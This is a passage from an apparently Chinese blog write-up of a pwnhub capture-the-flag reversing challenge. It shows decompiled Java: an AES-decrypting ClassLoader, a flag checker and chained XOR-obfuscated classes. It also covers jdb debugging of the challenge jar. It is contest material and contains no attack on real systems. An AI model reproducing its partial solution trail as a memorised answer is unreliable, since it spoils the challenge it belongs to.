class="title class_">ClassLoader</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">public</span> <span class="keyword">static</span> String code;</span><br><span class="line">  </span><br><span class="line">  <span class="comment">// ============= MD5加密（果然。。但是我测试过，好像不止md5） ==========</span></span><br><span class="line">  <span class="keyword">private</span> <span class="keyword">static</span> String <span class="title function_">md5</span><span class="params">(<span class="type">byte</span>[] data)</span></span><br><span class="line">    <span class="keyword">throws</span> NoSuchAlgorithmException</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="type">MessageDigest</span> <span class="variable">md</span> <span class="operator">=</span> MessageDigest.getInstance(<span class="string">&quot;MD5&quot;</span>);</span><br><span class="line">    md.update(data);</span><br><span class="line">    <span class="type">byte</span>[] md5 = md.digest();</span><br><span class="line">    <span class="keyword">return</span> byte2HexStr(md5);</span><br><span class="line">  &#125;</span><br><span class="line">  </span><br><span class="line">  <span class="comment">// ========= 将byte转变为可见字符（每个字节用两位表示）  ============</span></span><br><span class="line">  <span class="keyword">private</span> <span class="keyword">static</span> String <span class="title function_">byte2HexStr</span><span class="params">(<span class="type">byte</span>[] b)</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">hs</span> <span class="operator">=</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="type">String</span> <span class="variable">stmp</span> <span class="operator">=</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">byte</span> aB : b)</span><br><span class="line">    &#123;</span><br><span class="line">      stmp = Integer.toHexString(aB &amp; <span class="number">0xFF</span>);</span><br><span class="line">      <span class="keyword">if</span> (stmp.length() == <span class="number">1</span>) &#123;</span><br><span class="line">        hs = hs + <span class="string">&quot;0&quot;</span> + stmp;<span class="comment">//添加0凑够两位</span></span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        hs = hs + stmp;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> hs.toUpperCase();</span><br><span class="line">  &#125;</span><br><span class="line">  </span><br><span class="line"></span><br><span class="line">  <span class="comment">// =============== **关键找函数** ============</span></span><br><span class="line">  <span class="keyword">protected</span> Class&lt;?&gt; findClass(String name)</span><br><span class="line">    <span class="keyword">throws</span> ClassNotFoundException</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">res</span> <span class="operator">=</span> name.replace(<span class="string">&quot;.&quot;</span>, <span class="string">&quot;/&quot;</span>);<span class="comment">//将所有的。替换成/，比如pwnhub/checkFlag</span></span><br><span class="line">    </span><br><span class="line">    res = <span class="string">&quot;/&quot;</span> + res;</span><br><span class="line">    <span class="type">int</span> <span class="variable">l</span> <span class="operator">=</span> res.lastIndexOf(<span class="string">&quot;/&quot;</span>);</span><br><span class="line">    <span class="type">String</span> <span class="variable">className</span> <span class="operator">=</span> res.substring(l + <span class="number">1</span>);<span class="comment">//取出类名字</span></span><br><span class="line">    <span class="keyword">try</span></span><br><span class="line">    &#123;</span><br><span class="line">      res = res.substring(<span class="number">0</span>, l + <span class="number">1</span>) + md5(className.getBytes()) + <span class="string">&quot;.class&quot;</span>;<span class="comment">//这里看到，res的内容为地址/MD5(class)</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">catch</span> (NoSuchAlgorithmException e)</span><br><span class="line">    &#123;</span><br><span class="line">      e.printStackTrace();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="type">InputStream</span> <span class="variable">is</span> <span class="operator">=</span> getClass().getResourceAsStream(res);<span class="comment">//is 为当前取出的类作为文件流（？）</span></span><br><span class="line">    </span><br><span class="line">    <span class="type">long</span> <span class="variable">len</span> <span class="operator">=</span> <span class="number">0L</span>;</span><br><span class="line">    <span class="keyword">try</span></span><br><span class="line">    &#123;</span><br><span class="line">      len = is.available();<span class="comment">//当前文件的可见字符部分（文件大小）</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">catch</span> (IOException e)</span><br><span class="line">    &#123;</span><br><span class="line">      e.printStackTrace();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="type">byte</span>[] raw = <span class="keyword">new</span> <span class="title class_">byte</span>[(<span class="type">int</span>)len];</span><br><span class="line">    <span class="keyword">try</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="type">int</span> <span class="variable">r</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">      <span class="type">int</span> <span class="variable">off</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">      <span class="keyword">for</span> (;;)</span><br><span class="line">      &#123;</span><br><span class="line">        r = is.read(raw, off, (<span class="type">int</span>)len);<span class="comment">//将文件内容读入raw中</span></span><br><span class="line">        <span class="keyword">if</span> (r == len) &#123;</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        len -= r;</span><br><span class="line">        off += r;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">catch</span> (IOException e)</span><br><span class="line">    &#123;</span><br><span class="line">      e.printStackTrace();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="type">String</span> <span class="variable">ivStr</span> <span class="operator">=</span> <span class="string">&quot;****************&quot;</span>;</span><br><span class="line">    <span class="type">MessageDigest</span> <span class="variable">md</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">    <span class="keyword">try</span></span><br><span class="line">    &#123;</span><br><span class="line">      md = MessageDigest.getInstance(<span class="string">&quot;MD5&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">catch</span> (NoSuchAlgorithmException e)</span><br><span class="line">    &#123;</span><br><span class="line">      e.printStackTrace();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">assert</span> (md != <span class="literal">null</span>);</span><br><span class="line">    <span class="comment">// 关键！这里将我们的数mdzz传进来了而且即将加密</span></span><br><span class="line">    md.update(code.getBytes());</span><br><span class="line">    <span class="comment">// 这里使用mdzz作为关键密码</span></span><br><span class="line">    <span class="type">byte</span>[] key = md.digest();</span><br><span class="line">    </span><br><span class="line">    <span class="type">Cipher</span> <span class="variable">cipher</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">    <span class="keyword">try</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">// TMD又是加密！！！这次而且是AES！！再玩上次那套就打人了！！！</span></span><br><span class="line">      cipher = Cipher.getInstance(<span class="string">&quot;AES/CBC/PKCS5Padding&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">catch</span> (NoSuchAlgorithmException|NoSuchPaddingException e)</span><br><span class="line">    &#123;</span><br><span class="line">      e.printStackTrace();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">//冷静一下，这里我们已经得到了aes的密钥和iv</span></span><br><span class="line">    <span class="type">SecretKeySpec</span> <span class="variable">skey</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SecretKeySpec</span>(key, <span class="string">&quot;AES&quot;</span>);</span><br><span class="line">    <span class="type">IvParameterSpec</span> <span class="variable">iv</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">IvParameterSpec</span>(ivStr.getBytes());</span><br><span class="line">    <span class="keyword">try</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">assert</span> (cipher != <span class="literal">null</span>);</span><br><span class="line">      cipher.init(<span class="number">2</span>, skey, iv);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">catch</span> (InvalidKeyException|InvalidAlgorithmParameterException e)</span><br><span class="line">    &#123;</span><br><span class="line">      e.printStackTrace();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="type">byte</span>[] en = <span class="literal">null</span>;</span><br><span class="line">    <span class="keyword">try</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">// 这里将得到的文件，使用我们之前指定的内容进行加密卧槽。。。</span></span><br><span class="line">      en = cipher.doFinal(raw);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">catch</span> (IllegalBlockSizeException|BadPaddingException e)</span><br><span class="line">    &#123;</span><br><span class="line">      e.printStackTrace();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">assert</span> (en != <span class="literal">null</span>);</span><br><span class="line">    <span class="comment">// 最后定义我们得到的class，名字是传进来的name，en是我们需要加载的字节码（卧槽），我已经不想看了怎么办。。。</span></span><br><span class="line">    <span class="type">Class</span> <span class="variable">clazz</span> <span class="operator">=</span> defineClass(name, en, <span class="number">0</span>, en.length);</span><br><span class="line">    <span class="keyword">if</span> (clazz == <span class="literal">null</span>) &#123;</span><br><span class="line">      <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">ClassNotFoundException</span>(name);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> clazz;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>简单来说，这个倒霉的程序，把我们需要的类给加密了。。这还是第一次捡到这类的。。不过从这个歌处理方式来看，所有的类的名字应该都是被加过密的，所以这里假设che这个checkFlag类也被加密了，那么此时得到的就会是:<br>b51e17dbdb36295e7ab7541157ae7480<br>令人兴奋的是，的确是存在对应的类的。那么我们就确定了被加密的文件，接下来需要将这个加密后的文件进行解密:<br>吐槽一句，java的题目最讨厌的就是，java的加密总是和其他程序的加密不太一样，非要用它自己的方法来解开。</p><p>然后，好像成功了?接下来就是将这个.class文件反编译一下了:<br>上面这一步骤我几乎做了一万年。。。。辣鸡eclipse真的不想再用第二次。。用了一个叫做beyond compare的软件完成了反汇编：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Decompiled by Jad v1.5.8e2. Copyright 2001 Pavel Kouznetsov.</span></span><br><span class="line"><span class="comment">// Jad home page: http://kpdus.tripod.com/jad.html</span></span><br><span class="line"><span class="comment">// Decompiler options: packimports(3) </span></span><br><span class="line"><span class="comment">// Source File Name:   checkFlag.java</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">package</span> pwnhub;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.util.Arrays;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Referenced classes of package pwnhub:</span></span><br><span class="line"><span class="comment">//            load, cadqa</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">checkFlag</span></span><br><span class="line">&#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">checkFlag</span><span class="params">()</span></span><br><span class="line">    &#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">check</span><span class="params">()</span></span><br><span class="line">        <span class="keyword">throws</span> Exception</span><br><span class="line">    &#123;</span><br><span class="line">        load.l();</span><br><span class="line">        <span class="type">BufferedReader</span> <span class="variable">strin</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BufferedReader</span>(<span class="keyword">new</span> <span class="title class_">InputStreamReader</span>(System.in));</span><br><span class="line">        System.out.println(<span class="string">&quot;ok, now give me flag&quot;</span>);</span><br><span class="line">        System.out.print(<span class="string">&quot;flag:&quot;</span>);</span><br><span class="line">        <span class="type">String</span> <span class="variable">flag</span> <span class="operator">=</span> strin.readLine();</span><br><span class="line">        <span class="type">int</span> b[] = &#123;</span><br><span class="line">            <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, </span><br><span class="line">            <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span></span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="type">byte</span> result[] = cadqa.i(flag.getBytes(), b);</span><br><span class="line">        <span class="type">byte</span> tFlag[] = &#123;</span><br><span class="line">            <span class="number">16</span>, <span class="number">37</span>, -<span class="number">54</span>, -<span class="number">1</span>, -<span class="number">36</span>, -<span class="number">34</span>, -<span class="number">83</span>, -<span class="number">64</span>, <span class="number">39</span>, -<span class="number">112</span>, </span><br><span class="line">            <span class="number">5</span>, -<span class="number">85</span>, <span class="number">61</span>, <span class="number">108</span>, -<span class="number">4</span>, <span class="number">13</span>, <span class="number">85</span>, -<span class="number">22</span>, -<span class="number">116</span>, -<span class="number">77</span>, </span><br><span class="line">            <span class="number">31</span>, <span class="number">21</span>, -<span class="number">64</span>, <span class="number">13</span>, -<span class="number">86</span>, -<span class="number">48</span>, -<span class="number">86</span>, -<span class="number">115</span>, -<span class="number">28</span>, -<span class="number">82</span>, </span><br><span class="line">            <span class="number">48</span>, -<span class="number">15</span></span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">if</span>(Arrays.equals(result, tFlag))</span><br><span class="line">            System.out.println((<span class="keyword">new</span> <span class="title class_">StringBuilder</span>()).append(<span class="string">&quot;pwnhub&#123;flag:&quot;</span>).append(flag).append(<span class="string">&quot;&#125;&quot;</span>).toString());</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            System.out.println(<span class="string">&quot;try again&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我还以为做完的时候，突然当头一棒！这个cadqa是什么啊。。。。。。我仿佛看到了结局。。。。<br>a1ccf9b501dacecf3bae1c3a37bce98e<br>这个类也是存在的</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Decompiled by Jad v1.5.8e2. Copyright 2001 Pavel Kouznetsov.</span></span><br><span class="line"><span class="comment">// Jad home page: http://kpdus.tripod.com/jad.html</span></span><br><span class="line"><span class="comment">// Decompiler options: packimports(3) </span></span><br><span class="line"><span class="comment">// Source File Name:   cadqa.java</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">package</span> pwnhub;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationTargetException;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cadqa</span></span><br><span class="line">&#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">cadqa</span><span class="params">()</span></span><br><span class="line">    &#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] i(<span class="type">byte</span> a[], <span class="type">int</span> b[])</span><br><span class="line">        <span class="keyword">throws</span> ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException</span><br><span class="line">    &#123;</span><br><span class="line">        b[<span class="number">2</span>] ^= <span class="number">0x1b54c30c</span>;</span><br><span class="line">        <span class="type">String</span> <span class="variable">d</span> <span class="operator">=</span> (<span class="keyword">new</span> <span class="title class_">StringBuilder</span>()).append(<span class="string">&quot;pwnhub.&quot;</span>).append(y(<span class="string">&quot;#\033&lt;k8&quot;</span>)).toString();<span class="comment">//这里还对输入的字符。。。我累了</span></span><br><span class="line">        <span class="type">Class</span> <span class="variable">c</span> <span class="operator">=</span> Class.forName(d);</span><br><span class="line">        <span class="type">Method</span> <span class="variable">i</span> <span class="operator">=</span> c.getMethod(<span class="string">&quot;i&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[] &#123;</span><br><span class="line">            (<span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">0</span>]).getClass(), (<span class="keyword">new</span> <span class="title class_">int</span>[<span class="number">0</span>]).getClass()</span><br><span class="line">        &#125;);</span><br><span class="line">        <span class="keyword">return</span> (<span class="type">byte</span>[])(<span class="type">byte</span>[])i.invoke(<span class="literal">null</span>, <span class="keyword">new</span> <span class="title class_">Object</span>[] &#123;</span><br><span class="line">            a, b</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> String <span class="title function_">y</span><span class="params">(String a)</span><span class="comment">//input :# \033 &lt; k 8-&gt;</span></span><br><span class="line">    &#123;                               <span class="comment">//output :wmyvg</span></span><br><span class="line">        <span class="type">byte</span> b[] = a.getBytes();</span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">5</span>; i++)</span><br><span class="line">            <span class="keyword">switch</span>(i)</span><br><span class="line">            &#123;</span><br><span class="line">            <span class="keyword">case</span> <span class="number">0</span>: <span class="comment">// &#x27;\0&#x27;</span></span><br><span class="line">                b[i] ^= <span class="number">0x54</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">case</span> <span class="number">1</span>: <span class="comment">// &#x27;\001&#x27;</span></span><br><span class="line">                b[i] ^= <span class="number">0x76</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">case</span> <span class="number">2</span>: <span class="comment">// &#x27;\002&#x27;</span></span><br><span class="line">                b[i] ^= <span class="number">0x45</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">case</span> <span class="number">3</span>: <span class="comment">// &#x27;\003&#x27;</span></span><br><span class="line">                b[i] ^= <span class="number">0x1d</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">case</span> <span class="number">4</span>: <span class="comment">// &#x27;\004&#x27;</span></span><br><span class="line">                b[i] ^= <span class="number">0x5f</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">String</span>(b);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>我tm做着做着觉得不对。。。。。卧槽又有一个类。。。我真的睡了。。。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Decompiled by Jad v1.5.8e2. Copyright 2001 Pavel Kouznetsov.</span></span><br><span class="line"><span class="comment">// Jad home page: http://kpdus.tripod.com/jad.html</span></span><br><span class="line"><span class="comment">// Decompiler options: packimports(3) </span></span><br><span class="line"><span class="comment">// Source File Name:   wmyvg.java</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">package</span> pwnhub;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationTargetException;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">wmyvg</span></span><br><span class="line">&#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">wmyvg</span><span class="params">()</span></span><br><span class="line">    &#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] i(<span class="type">byte</span> a[], <span class="type">int</span> b[])</span><br><span class="line">        <span class="keyword">throws</span> ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException</span><br><span class="line">    &#123;</span><br><span class="line">        b[<span class="number">14</span>] ^= <span class="number">0x181c64dc</span>;</span><br><span class="line">        <span class="type">String</span> <span class="variable">d</span> <span class="operator">=</span> (<span class="keyword">new</span> <span class="title class_">StringBuilder</span>()).append(<span class="string">&quot;pwnhub.&quot;</span>).append(y(<span class="string">&quot;\007_d-&#x27;&quot;</span>)).toString();</span><br><span class="line">        <span class="type">Class</span> <span class="variable">c</span> <span class="operator">=</span> Class.forName(d);</span><br><span class="line">        <span class="type">Method</span> <span class="variable">i</span> <span class="operator">=</span> c.getMethod(<span class="string">&quot;i&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[] &#123;</span><br><span class="line">            (<span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">0</span>]).getClass(), (<span class="keyword">new</span> <span class="title class_">int</span>[<span class="number">0</span>]).getClass()</span><br><span class="line">        &#125;);</span><br><span class="line">        <span class="keyword">return</span> (<span class="type">byte</span>[])(<span class="type">byte</span>[])i.invoke(<span class="literal">null</span>, <span class="keyword">new</span> <span class="title class_">Object</span>[] &#123;</span><br><span class="line">            a, b</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> String <span class="title function_">y</span><span class="params">(String a)</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="type">byte</span> b[] = a.getBytes();</span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">5</span>; i++)</span><br><span class="line">            <span class="keyword">switch</span>(i)</span><br><span class="line">            &#123;</span><br><span class="line">            <span class="keyword">case</span> <span class="number">0</span>: <span class="comment">// &#x27;\0&#x27;</span></span><br><span class="line">                b[i] ^= <span class="number">0x61</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">case</span> <span class="number">1</span>: <span class="comment">// &#x27;\001&#x27;</span></span><br><span class="line">                b[i] ^= <span class="number">0x2b</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">case</span> <span class="number">2</span>: <span class="comment">// &#x27;\002&#x27;</span></span><br><span class="line">                b[i] ^= <span class="number">0xc</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">case</span> <span class="number">3</span>: <span class="comment">// &#x27;\003&#x27;</span></span><br><span class="line">                b[i] ^= <span class="number">0x54</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">case</span> <span class="number">4</span>: <span class="comment">// &#x27;\004&#x27;</span></span><br><span class="line">                b[i] ^= <span class="number">0x4b</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">String</span>(b);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>我们来冷静分析一下，每次都是b[i]会被重新赋值，而我们知道，b[i]总共为16位，那么这个游戏应该会持续16次（卧槽）。虽然一开始的时候想着要将全部都反编译一下，但是此时我发现扰乱的部分太多了。。。还是得一点点做。。<br>==&gt;\007_d-’<br>==&gt;fthyl<br>==&gt;<br>之后都不贴完整的了。。。。要找的太多。。<br>fthyl:<br>b[1] ^= 0x4b164dc6;<br>string = [Qg2t ==&gt;knklz<br>knklz:<br>b[3] ^= 0x2e558ed3;<br>string = “Zg&lt;P\037”==&gt;swygk<br>swygk:<br>b[13] ^= 0x224b13e8;<br>string = “m\023y+8” ==&gt;xbzvx<br>xbzvx:<br>b[3] ^= 0x545a51c4;<br>string = “yT(<em>\b&quot; ==&gt;bstqh<br>bstqh:<br>b[9] ^= 0xb2bb4d8;<br>string = “\177M\034@?” ==&gt;lmvxj<br>lmvxj:<br>b[4] ^= 0x15532729;<br>string = &quot;Y|yB</em>” ==&gt;iaclf<br>iaclf:<br>b[1] ^= 0xef2b115;<br>string = &quot; b]Z8&quot;==&gt;cipgj<br>爆炸了这做到什么时候去啊粉蛋！！！！！仔细一想。。。这个文件是一个.jar…那么应该是可以执行的才对。。于是这里尝试上一波调试。。<br>eclipse再次爆炸，我渐渐明白了什么叫做一生黑。。。<br>使用jdb进行调试，首先java的调试方式是通过运行程序使其存在于在某个端口，然后通过jdb进行connect:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">java -agentlib:jdwp=transport=dt_socket,server=y,address=8050,suspend=y -jar pwnhub.jar #设置端口</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>然后打开另一个终端，此时：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">jdb -connect com.sun.jdi.SocketAttach:port=8050</span><br></pre></td></tr></table></figure><p>将调试器attach上去，从而进行调试。<br>首先是 pwnhub.d1a2276cb6055f0a6d12ac4004352f0b.<init>(), 行=24 bci=25处设置断点。<br>step<br>然后是:pwnhub.load.l(), 行=1,509 bci=10,247<br>next<br>在pwnhub.checkFlag.check(), 行=16 bci=37处发生了capda<br>然后每个16行就发生一次写入数据。。。<br>最后在同伴的帮助下，使用了grep找到了另一部分的类。。。。。发现原来有另一种函数,那个函数也是非常长…上网查询后估计是des加密的一种（猜测），然后注意到，这个类里面的方法叫做<strong>b</strong>,并不是之前的<strong>i</strong>，所以我们猜测在这种五个字母组成的字符串的类中一定存在着某一个类调用了这个方法（不然为什么最后的答案位数那么多），利用grep+正则表达式，找到了了一种以**【四个字母】**开头的程序:<br>frsu:</init></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span 